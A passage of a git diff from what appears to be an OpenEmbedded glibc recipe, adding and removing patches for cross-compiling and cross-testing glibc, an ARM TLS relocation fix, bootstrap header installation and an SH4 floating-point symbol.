-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch
new file mode 100644
index 0000000000..d7f15c1cfa
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch
@@ -0,0 +1,616 @@
+From ce8b13bdf488058754fce573754cea0b022c37e2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:42:58 +0000
+Subject: [PATCH] eglibc: Cross building and testing instructions
+
+Ported from eglibc
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
+ GLIBC.cross-testing | 205 +++++++++++++++++++++++
+ 2 files changed, 588 insertions(+)
+ create mode 100644 GLIBC.cross-building
+ create mode 100644 GLIBC.cross-testing
+
+diff --git a/GLIBC.cross-building b/GLIBC.cross-building
+new file mode 100644
+index 0000000000..e6e0da1aaf
+--- /dev/null
++++ b/GLIBC.cross-building
+@@ -0,0 +1,383 @@
++ -*- mode: text -*-
++
++ Cross-Compiling GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Most GNU tools have a simple build procedure: you run their
++'configure' script, and then you run 'make'. Unfortunately, the
++process of cross-compiling the GNU C library is quite a bit more
++involved:
++
++1) Build a cross-compiler, with certain facilities disabled.
++
++2) Configure the C library using the compiler you built in step 1).
++ Build a few of the C run-time object files, but not the rest of the
++ library. Install the library's header files and the run-time
++ object files, and create a dummy libc.so.
++
++3) Build a second cross-compiler, using the header files and object
++ files you installed in step 2.
++
++4) Configure, build, and install a fresh C library, using the compiler
++ built in step 3.
++
++5) Build a third cross-compiler, based on the C library built in step 4.
++
++The reason for this complexity is that, although GCC and the GNU C
++library are distributed separately, they are not actually independent
++of each other: GCC requires the C library's headers and some object
++files to compile its own libraries, while the C library depends on
++GCC's libraries. GLIBC includes features and bug fixes to the stock
++GNU C library that simplify this process, but the fundamental
++interdependency stands.
++
++In this document, we explain how to cross-compile an GLIBC/GCC pair
++from source. Our intended audience is developers who are already
++familiar with the GNU toolchain and comfortable working with
++cross-development tools. While we do present a worked example to
++accompany the explanation, for clarity's sake we do not cover many of
++the options available to cross-toolchain users.
++
++
++Preparation
++
++GLIBC requires recent versions of the GNU binutils, GCC, and the
++Linux kernel. The web page <http://www.eglibc.org/prerequisites>
++documents the current requirements, and lists patches needed for
++certain target architectures. As of this writing, these build
++instructions have been tested with binutils 2.22.51, GCC 4.6.2,
++and Linux 3.1.
++
++First, let's set some variables, to simplify later commands. We'll
++build GLIBC and GCC for an ARM target, known to the Linux kernel
++as 'arm', and we'll do the build on an Intel x86_64 Linux box:
++
++ $ build=x86_64-pc-linux-gnu
++ $ host=$build
++ $ target=arm-none-linux-gnueabi
++ $ linux_arch=arm
++
++We're using the aforementioned versions of Binutils, GCC, and Linux:
++
++ $ binutilsv=binutils-2.22.51
++ $ gccv=gcc-4.6.2
++ $ linuxv=linux-3.1
++
++We're carrying out the entire process under '~/cross-build', which
++contains unpacked source trees for binutils, gcc, and linux kernel,
++along with GLIBC svn trunk (which can be checked-out with
++'svn co http://www.eglibc.org/svn/trunk eglibc'):
++
++ $ top=$HOME/cross-build/$target
++ $ src=$HOME/cross-build/src
++ $ ls $src
++ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
++
++We're going to place our build directories in a subdirectory 'obj',
++we'll install the cross-development toolchain in 'tools', and we'll
++place our sysroot (containing files to be installed on the target
++system) in 'sysroot':
++
++ $ obj=$top/obj
++ $ tools=$top/tools
++ $ sysroot=$top/sysroot
++
++
++Binutils
++
++Configuring and building binutils for the target is straightforward:
++
++ $ mkdir -p $obj/binutils
++ $ cd $obj/binutils
++ $ $src/$binutilsv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot
++ $ make
++ $ make install
++
++
++The First GCC
++
++For our work, we need a cross-compiler targeting an ARM Linux
++system. However, that configuration includes the shared library
++'libgcc_s.so', which is compiled against the GLIBC headers (which we
++haven't installed yet) and linked against 'libc.so' (which we haven't
++built yet).
++
++Fortunately, there are configuration options for GCC which tell it not
++to build 'libgcc_s.so'. The '--without-headers' option is supposed to
++take care of this, but its implementation is incomplete, so you must
++also configure with the '--with-newlib' option. While '--with-newlib'
++appears to mean "Use the Newlib C library", its effect is to tell the
++GCC build machinery, "Don't assume there is a C library available."
++
++We also need to disable some of the libraries that would normally be
++built along with GCC, and specify that only the compiler for the C
++language is needed.
++
++So, we create a build directory, configure, make, and install.
++
++ $ mkdir -p $obj/gcc1
++ $ cd $obj/gcc1
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --without-headers --with-newlib \
++ > --disable-shared --disable-threads --disable-libssp \
++ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
++ > --disable-decimal-float --disable-libffi \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++Linux Kernel Headers
++
++To configure GLIBC, we also need Linux kernel headers in place.
++Fortunately, the Linux makefiles have a target that installs them for
++us. Since the process does modify the source tree a bit, we make a
++copy first:
++
++ $ cp -r $src/$linuxv $obj/linux
++ $ cd $obj/linux
++
++Now we're ready to install the headers into the sysroot:
++
++ $ PATH=$tools/bin:$PATH \
++ > make headers_install \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ > INSTALL_HDR_PATH=$sysroot/usr
++
++
++GLIBC Headers and Preliminary Objects
++
++Using the cross-compiler we've just built, we can now configure GLIBC
++well enough to install the headers and build the object files that the
++full cross-compiler will need:
++
++ $ mkdir -p $obj/glibc-headers
++ $ cd $obj/glibc-headers
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++The option '--prefix=/usr' may look strange, but you should never
++configure GLIBC with a prefix other than '/usr': in various places,
++GLIBC's build system checks whether the prefix is '/usr', and does
++special handling only if that is the case. Unless you use this
++prefix, you will get a sysroot that does not use the standard Linux
++directory layouts and cannot be used as a basis for the root
++filesystem on your target system compatibly with normal GLIBC
++installations.
++
++The '--with-headers' option tells GLIBC where the Linux headers have
++been installed.
++
++The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
++for the listed glibc add-ons. Most notably the ports add-on (located
++just above the libc sources in the GLIBC svn tree) is required to
++support ARM targets.
++
++We can now use the 'install-headers' makefile target to install the
++headers:
++
++ $ make install-headers install_root=$sysroot \
++ > install-bootstrap-headers=yes
++
++The 'install_root' variable indicates where the files should actually
++be installed; its value is treated as the parent of the '--prefix'
++directory we passed to the configure script, so the headers will go in
++'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
++requests special handling for certain tricky header files.
++
++Next, there are a few object files needed to link shared libraries,
++which we build and install by hand:
++
++ $ mkdir -p $sysroot/usr/lib
++ $ make csu/subdir_lib
++ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
++
++Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
++since we will never actually execute its code, it doesn't matter what
++it contains. So, treating '/dev/null' as a C source file, we produce
++a dummy 'libc.so' in one step:
++
++ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
++ > -o $sysroot/usr/lib/libc.so
++
++
++The Second GCC
++
++With the GLIBC headers and selected object files installed, we can
++now build a GCC that is capable of compiling GLIBC. We configure,
++build, and install the second GCC, again building only the C compiler,
++and avoiding libraries we won't use:
++
++ $ mkdir -p $obj/gcc2
++ $ cd $obj/gcc2
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --disable-libffi --disable-libquadmath \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++GLIBC, Complete
++
++With the second compiler built and installed, we're now ready for the
++full GLIBC build:
++
++ $ mkdir -p $obj/glibc
++ $ cd $obj/glibc
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --with-kconfig=$obj/linux/scripts/kconfig \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++Note the additional '--with-kconfig' option. This tells GLIBC where to
++find the host config tools used by the kernel 'make config' and 'make
++menuconfig'. These tools can be re-used by GLIBC for its own 'make
++*config' support, which will create 'option-groups.config' for you.
++But first make sure those tools have been built by running some
++dummy 'make *config' calls in the kernel directory:
++
++ $ cd $obj/linux
++ $ PATH=$tools/bin:$PATH make config \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ $ PATH=$tools/bin:$PATH make menuconfig \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++
++Now we can configure and build the full GLIBC:
++
++ $ cd $obj/glibc
++ $ PATH=$tools/bin:$PATH make defconfig
++ $ PATH=$tools/bin:$PATH make menuconfig
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
++
++At this point, we have a complete GLIBC installation in '$sysroot',
++with header files, library files, and most of the C runtime startup
++files in place.
++
++
++The Third GCC
++
++Finally, we recompile GCC against this full installation, enabling
++whatever languages and libraries we would like to use:
++
++ $ mkdir -p $obj/gcc3
++ $ cd $obj/gcc3
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --enable-__cxa_atexit \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --enable-languages=c,c++
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++The '--enable-__cxa_atexit' option tells GCC what sort of C++
++destructor support to expect from the C library; it's required with
++GLIBC.
++
++And since GCC's installation process isn't designed to help construct
++sysroot trees, we must manually copy certain libraries into place in
++the sysroot.
++
++ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
++ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
++
++
++Trying Things Out
++
++At this point, '$tools' contains a cross toolchain ready to use
++the GLIBC installation in '$sysroot':
++
++ $ cat > hello.c <<EOF
++ > #include <stdio.h>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > puts ("Hello, world!");
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-gcc -Wall hello.c -o hello
++ $ cat > c++-hello.cc <<EOF
++ > #include <iostream>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > std::cout << "Hello, C++ world!" << std::endl;
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
++
++
++We can use 'readelf' to verify that these are indeed executables for
++our target, using our dynamic linker:
++
++ $ $tools/bin/$target-readelf -hl hello
++ ELF Header:
++ ...
++ Type: EXEC (Executable file)
++ Machine: ARM
++
++ ...
++ Program Headers:
++ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
++ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
++ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
++ [Requesting program interpreter: /lib/ld-linux.so.3]
++ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
++ ...
++
++Looking at the dynamic section of the installed 'libgcc_s.so', we see
++that the 'NEEDED' entry for the C library does include the '.6'
++suffix, indicating that was linked against our fully build GLIBC, and
++not our dummy 'libc.so':
++
++ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
++ Dynamic section at offset 0x1083c contains 24 entries:
++ Tag Type Name/Value
++ 0x00000001 (NEEDED) Shared library: [libc.so.6]
++ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
++ ...
++
++
++And on the target machine, we can run our programs:
++
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./hello
++ Hello, world!
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./c++-hello
++ Hello, C++ world!
+diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
+new file mode 100644
+index 0000000000..b67b468466
+--- /dev/null
++++ b/GLIBC.cross-testing
+@@ -0,0 +1,205 @@
++ -*- mode: text -*-
++
++ Cross-Testing With GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Developers writing software for embedded systems often use a desktop
++or other similarly capable computer for development, but need to run
++tests on the embedded system, or perhaps on a simulator. When
++configured for cross-compilation, the stock GNU C library simply
++disables running tests altogether: the command 'make tests' builds
++test programs, but does not run them. GLIBC, however, provides
++facilities for compiling tests and generating data files on the build
++system, but running the test programs themselves on a remote system or
++simulator.
++
++
++Test environment requirements
++
++The test environment must meet certain conditions for GLIBC's
++cross-testing facilities to work:
++
++- Shared filesystems. The 'build' system, on which you configure and
++ compile GLIBC, and the 'host' system, on which you intend to run
++ GLIBC, must share a filesystem containing the GLIBC build and
++ source trees. Files must appear at the same paths on both systems.
++
++- Remote-shell like invocation. There must be a way to run a program
++ on the host system from the build system, passing it properly quoted
++ command-line arguments, setting environment variables, and
++ inheriting the caller's standard input and output.
++
++
++Usage
++
++To use GLIBC's cross-testing support, provide values for the
++following Make variables when you invoke 'make':
++
++- cross-test-wrapper
++
++ This should be the name of the cross-testing wrapper command, along
++ with any arguments.
++
++- cross-localedef
++
++ This should be the name of a cross-capable localedef program, like
++ that included in the GLIBC 'localedef' module, along with any
++ arguments needed.
++
++These are each explained in detail below.
++
++
++The Cross-Testing Wrapper
++
++To run test programs reliably, the stock GNU C library takes care to
++ensure that test programs use the newly compiled dynamic linker and
++shared libraries, and never the host system's installed libraries. To
++accomplish this, it runs the tests by explicitly invoking the dynamic
++linker from the build tree, passing it a list of build tree
++directories to search for shared libraries, followed by the name of
++the executable to run and its arguments.
++
++For example, where one might normally run a test program like this:
++
++ $ ./tst-foo arg1 arg2
++
++the GNU C library might run that program like this:
++
++ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++(where $objdir is the path to the top of the build tree, and the
++trailing backslash indicates a continuation of the command). In other
++words, each test program invocation is 'wrapped up' inside an explicit
++invocation of the dynamic linker, which must itself execute the test
++program, having loaded shared libraries from the appropriate
++directories.
++
++To support cross-testing, GLIBC allows the developer to optionally
++set the 'cross-test-wrapper' Make variable to another wrapper command,
++to which it passes the entire dynamic linker invocation shown above as
++arguments. For example, if the developer supplies a wrapper of
++'my-wrapper hostname', then GLIBC would run the test above as
++follows:
++
++ $ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++The 'my-wrapper' command is responsible for executing the command
++given on the host system.
++
++Since tests are run in varying directories, the wrapper should either
++be in your command search path, or 'cross-test-wrapper' should give an
++absolute path for the wrapper.
++
++The wrapper must meet several requirements:
++
++- It must preserve the current directory. As explained above, the
++ build directory tree must be visible on both the build and host
++ systems, at the same path. The test wrapper must ensure that the
++ current directory it inherits is also inherited by the dynamic
++ linker (and thus the test program itself).
++
++- It must preserve environment variables' values. Many GLIBC tests
++ set environment variables for test runs; in native testing, it
++ invokes programs like this:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ With the cross-testing wrapper, that invocation becomes:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ Here, 'my-wrapper' must ensure that the value it sees for
++ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
++ itself. (The wrapper supplied with GLIBC simply preserves the
++ values of *all* enviroment variables, with a fixed set of
++ exceptions.)
++
++ If your wrapper is a shell script, take care to correctly propagate
++ environment variables whose values contain spaces and shell
++ metacharacters.
++
++- It must pass the command's arguments, unmodified. The arguments
++ seen by the test program should be exactly those seen by the wrapper
++ (after whatever arguments are given to the wrapper itself). The
++ GLIBC test framework performs all needed shell word splitting and
++ expansion (wildcard expansion, parameter substitution, and so on)
++ before invoking the wrapper; further expansion may break the tests.
++
++
++The 'cross-test-ssh.sh' script
++
++If you want to use 'ssh' (or something sufficiently similar) to run
++test programs on your host system, GLIBC includes a shell script,
++'scripts/cross-test-ssh.sh', which you can use as your wrapper
++command. This script takes care of setting the test command's current
++directory, propagating environment variable values, and carrying
++command-line arguments, all across an 'ssh' connection. You may even
++supply an alternative to 'ssh' on the command line, if needed.
++
++For more details, pass 'cross-test-ssh.sh' the '--help' option.
++
++
++The Cross-Compiling Locale Definition Command
++
++Some GLIBC tests rely on locales generated especially for the test
++process. In a native configuration, these tests simply run the
++'localedef' command built by the normal GLIBC build process,
++'locale/localedef', to process and install their locales. However, in
++a cross-compiling configuration, this 'localedef' is built for the
++host system, not the build system, and since it requires quite a bit
++of memory to run (we have seen it fail on systems with 64MiB of
++memory), it may not be practical to run it on the host system.
++
++If set, GLIBC uses the 'cross-localedef' Make variable as the command
++to run on the build system to process and install locales. The
++localedef program built from the GLIBC 'localedef' module is
++suitable.
++
++The value of 'cross-localedef' may also include command-line arguments
++to be passed to the program; if you are using GLIBC's 'localedef',
++you may include endianness and 'uint32_t' alignment arguments here.
++
++
++Example
++
++In developing GLIBC's cross-testing facility, we invoked 'make' with
++the following script:
++
++ #!/bin/sh
++
++ srcdir=...
++ test_hostname=...
++ localedefdir=...
++ cross_gxx=...-g++
++
++ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
++ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
++
++ make cross-test-wrapper="$wrapper" \
++ cross-localedef="$localedef" \
++ CXX="$cross_gxx" \
++ "$@"
++
++
++Other Cross-Testing Concerns
++
++Here are notes on some other issues which you may encounter in running
++the GLIBC tests in a cross-compiling environment:
++
++- Some tests require a C++ cross-compiler; you should set the 'CXX'
++ Make variable to the name of an appropriate cross-compiler.
++
++- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
++ simply place copies of these libraries in the top GLIBC build
++ directory.
diff --git a/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch b/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
deleted file mode 100644
index a9280b7c34..0000000000
--- a/meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From de7a7c04a92dbc5d35cb37e47c471e12784cc95e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:20:09 +0000
-Subject: [PATCH 11/29] Quote from bug 1443 which explains what the patch does
- :
-
- We build some random program and link it with -lust. When we run it,
- it dies with a SIGSEGV before reaching main().
-
- Libust.so depends on liburcu-bp.so from the usermode-rcu package.
- Although libust.so is not prelinked, liburcu-bp.so IS prelinked; this
- is critical.
-
- Libust.so uses a TLS / __thread variable that is defined in liburcu-
- bp.so. There are special ARM-specific relocation types that allow two
- shared libraries to share thread-specific data. This is critical too.
-
- One more critical issue: although liburcu-bp.so is prelinked, we can't
- load it at its prelinked address, because we also link against
- librt.so, and librt.so uses that address.
-
- The dynamic linker is forced to relink liburcu-bp.so at a different
- address. In the course of relinking, it processes the special ARM
- relocation record mentioned above. The prelinker has already filled
- in the information, which is a short offset into a table of thread-
- specific data that is allocated per-thread for each library that uses
- TLS. Because the normal behavior of a relocation is to add the symbol
- value to an addend stored at the address being relocated, we end up
- adding the short offset to itself, doubling it.
-
- Now we have an awkward situation. The libust.so library doesn't know
- about the addend, so its TLS data for this element is correct. The
- liburcu-bp.so library has a different offset for the element. When we
- go to initialize the element for the first time in liburcu-bp.so, we
- write the address of the result at the doubled (broken) offset.
- Later, when we refer to the address from libust.so, we check the value
- at the correct offset, but it's NULL, so we eat hot SIGSEGV.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andrei Dinu <andrei.adrianx.dinu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/arm/dl-machine.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sysdeps/arm/dl-machine.h b/sysdeps/arm/dl-machine.h
-index 90856779b1..a29bb86c56 100644
---- a/sysdeps/arm/dl-machine.h
-+++ b/sysdeps/arm/dl-machine.h
-@@ -510,7 +510,7 @@ elf_machine_rel (struct link_map *map, const Elf32_Rel *reloc,
-
- case R_ARM_TLS_DTPOFF32:
- if (sym != NULL)
-- *reloc_addr += sym->st_value;
-+ *reloc_addr = sym->st_value;
- break;
-
- case R_ARM_TLS_TPOFF32:
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch
new file mode 100644
index 0000000000..82a3292655
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch
@@ -0,0 +1,97 @@
+From 65b79161b9e2848a174d3519a03348884f182975 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:49:28 +0000
+Subject: [PATCH] eglibc: Help bootstrap cross toolchain
+
+Taken from EGLIBC, r1484 + r1525
+
+ 2007-02-20 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile (install-headers): Preserve old behavior: depend on
+ $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
+ is set; otherwise, place gnu/stubs.h on the 'install-others' list.
+
+ 2007-02-16 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile: Amend make install-headers to install everything
+ necessary for building a cross-compiler. Install gnu/stubs.h as
+ part of 'install-headers', not 'install-others'.
+ If install-bootstrap-headers is 'yes', install a dummy copy of
+ gnu/stubs.h, instead of computing the real thing.
+ * include/stubs-bootstrap.h: New file.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile | 22 +++++++++++++++++++++-
+ include/stubs-bootstrap.h | 12 ++++++++++++
+ 2 files changed, 33 insertions(+), 1 deletion(-)
+ create mode 100644 include/stubs-bootstrap.h
+
+diff --git a/Makefile b/Makefile
+index 7052b46df8..46073abaa8 100644
+--- a/Makefile
++++ b/Makefile
+@@ -79,9 +79,18 @@ subdir-dirs = include
+ vpath %.h $(subdir-dirs)
+
+ # What to install.
+-install-others = $(inst_includedir)/gnu/stubs.h
+ install-bin-script =
+
++# If we're bootstrapping, install a dummy gnu/stubs.h along with the
++# other headers, so 'make install-headers' produces a useable include
++# tree. Otherwise, install gnu/stubs.h later, after the rest of the
++# build is done.
++ifeq ($(install-bootstrap-headers),yes)
++install-headers: $(inst_includedir)/gnu/stubs.h
++else
++install-others = $(inst_includedir)/gnu/stubs.h
++endif
++
+ ifeq (yes,$(build-shared))
+ headers += gnu/lib-names.h
+ endif
+@@ -421,6 +430,16 @@ others: $(common-objpfx)testrun.sh $(common-objpfx)debugglibc.sh
+
+ subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
+
++# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
++# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
++# gnu/stubs.h is good enough.
++ifeq ($(install-bootstrap-headers),yes)
++$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
++ $(make-target-directory)
++ $(INSTALL_DATA) $< $@
++
++installed-stubs =
++else
+ ifndef abi-variants
+ installed-stubs = $(inst_includedir)/gnu/stubs.h
+ else
+@@ -447,6 +466,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
+
+ install-others-nosubdir: $(installed-stubs)
+ endif
++endif
+
+
+ # Since stubs.h is never needed when building the library, we simplify the
+diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
+new file mode 100644
+index 0000000000..1d2b669aff
+--- /dev/null
++++ b/include/stubs-bootstrap.h
+@@ -0,0 +1,12 @@
++/* Placeholder stubs.h file for bootstrapping.
++
++ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
++ headers be installed, but we can't fully build EGLIBC without that
++ GCC. So we run the command:
++
++ make install-headers install-bootstrap-headers=yes
++
++ to install the headers GCC needs, but avoid building certain
++ difficult headers. The <gnu/stubs.h> header depends, via the
++ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
++ an empty stubs.h like this will do fine for GCC. */
diff --git a/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch
new file mode 100644
index 0000000000..e726a9e76f
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch
@@ -0,0 +1,53 @@
+From 07a5fa22a9a8bbd43982c1b35132f8c2d5276bfe Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:55:53 +0000
+Subject: [PATCH] eglibc: Resolve __fpscr_values on SH4
+
+2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
+ Andrew Stubbs <ams@codesourcery.com>
+
+ Resolve SH's __fpscr_values to symbol in libc.so.
+
+ * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
+ * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
+ * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/sh/Versions | 1 +
+ sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
+ 2 files changed, 12 insertions(+)
+
+diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
+index 3ad702e165..931985b5d6 100644
+--- a/sysdeps/unix/sysv/linux/sh/Versions
++++ b/sysdeps/unix/sysv/linux/sh/Versions
+@@ -3,6 +3,7 @@ libc {
+ GLIBC_2.2 {
+ # functions used in other libraries
+ __xstat64; __fxstat64; __lxstat64;
++ __fpscr_values;
+
+ # a*
+ alphasort64;
+diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
+index d5d8c5e033..f356d02077 100644
+--- a/sysdeps/unix/sysv/linux/sh/sysdep.S
++++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
+@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
+
+ #define __syscall_error __syscall_error_1
+ #include <sysdeps/unix/sh/sysdep.S>
++
++ .data
++ .align 3
++ .globl ___fpscr_values
++ .type ___fpscr_values, @object
++ .size ___fpscr_values, 8
++___fpscr_values:
++ .long 0
++ .long 0x80000
++weak_alias (___fpscr_values, __fpscr_values)
++
diff --git a/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch b/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
deleted file mode 100644
index ab07455ade..0000000000
--- a/meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From c8807899367e64d803585e7dd4b56a1085d5893b Mon Sep 17 00:00:00 2001
-From: Ting Liu <b28495@freescale.com>
-Date: Wed, 19 Dec 2012 04:39:57 -0600
-Subject: [PATCH 12/29] eglibc: run libm-err-tab.pl with specific dirs in ${S}
-
-libm-err-tab.pl will parse all the files named "libm-test-ulps"
-in the given dir recursively. To avoid parsing the one in
-${S}/.pc/ (it does exist after eglibc adds aarch64 support,
-${S}/.pc/aarch64-0001-glibc-fsf-v1-eaf6f205.patch/ports/sysdeps/
-aarch64/libm-test-ulps), run libm-err-tab.pl with specific dirs
-in ${S}.
-
-Upstream-Status: inappropriate [OE specific]
-
-Signed-off-by: Ting Liu <b28495@freescale.com>
----
- manual/Makefile | 3 ++-
